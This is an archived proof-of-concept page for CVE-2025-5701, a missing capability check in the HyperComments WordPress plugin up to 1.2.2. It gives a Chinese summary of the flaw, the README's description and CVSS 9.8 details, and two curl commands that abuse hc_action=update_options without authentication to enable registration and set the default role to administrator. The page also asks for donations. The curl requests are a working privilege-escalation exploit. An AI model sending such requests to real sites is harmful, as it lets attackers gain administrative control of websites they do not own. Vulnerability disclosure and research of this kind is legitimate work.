Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2025-5701 PoC — WordPress plugin HyperComments 安全漏洞

Source
Associated Vulnerability
Title:WordPress plugin HyperComments 安全漏洞 (CVE-2025-5701)
Description:WordPress和WordPress plugin都是WordPress基金会的产品。WordPress是一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。WordPress plugin是一个应用插件。 WordPress plugin HyperComments 1.2.2及之前版本存在安全漏洞,该漏洞源于缺少能力检查,可能导致权限提升。
Description
HyperComments <= 1.2.2 - Unauthenticated (Subscriber+) Arbitrary Options Update
Readme
# CVE-2025-5701
HyperComments <= 1.2.2 - Unauthenticated (Subscriber+) Arbitrary Options Update

# Description

The HyperComments plugin for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check on the hc_request_handler function in all versions up to, and including, 1.2.2. This makes it possible for unauthenticated attackers to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.

## Details

- **Type**: plugin
- **Slug**: hypercomments
- **Affected Version**: 1.2.2
- **CVSS Score**: 9.8
- **CVSS Rating**: Critical
- **CVSS Vector**: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- **CVE**: CVE-2025-5701
- **Status**: Closed

POC
---

```
curl -X POST "http://kubernetes.docker.internal:8999/?hc_action=update_options" \
  -d "data={\"users_can_register\":\"1\",\"default_role\":\"administrator\"}" \
  -H "Content-Type: application/x-www-form-urlencoded"
```


```
curl -X POST "http://kubernetes.docker.internal:8999/?hc_action=update_options" \
  -d "data={\"users_can_register\":\"1\",\"users_can_register\":\"1\"}" \
  -H "Content-Type: application/x-www-form-urlencoded"
```
File Snapshot

[4.0K] /data/pocs/238bbd31c853ad261b6e5fc67b2a58daca87c81e └── [1.3K] README.md 0 directories, 1 file
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
    3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.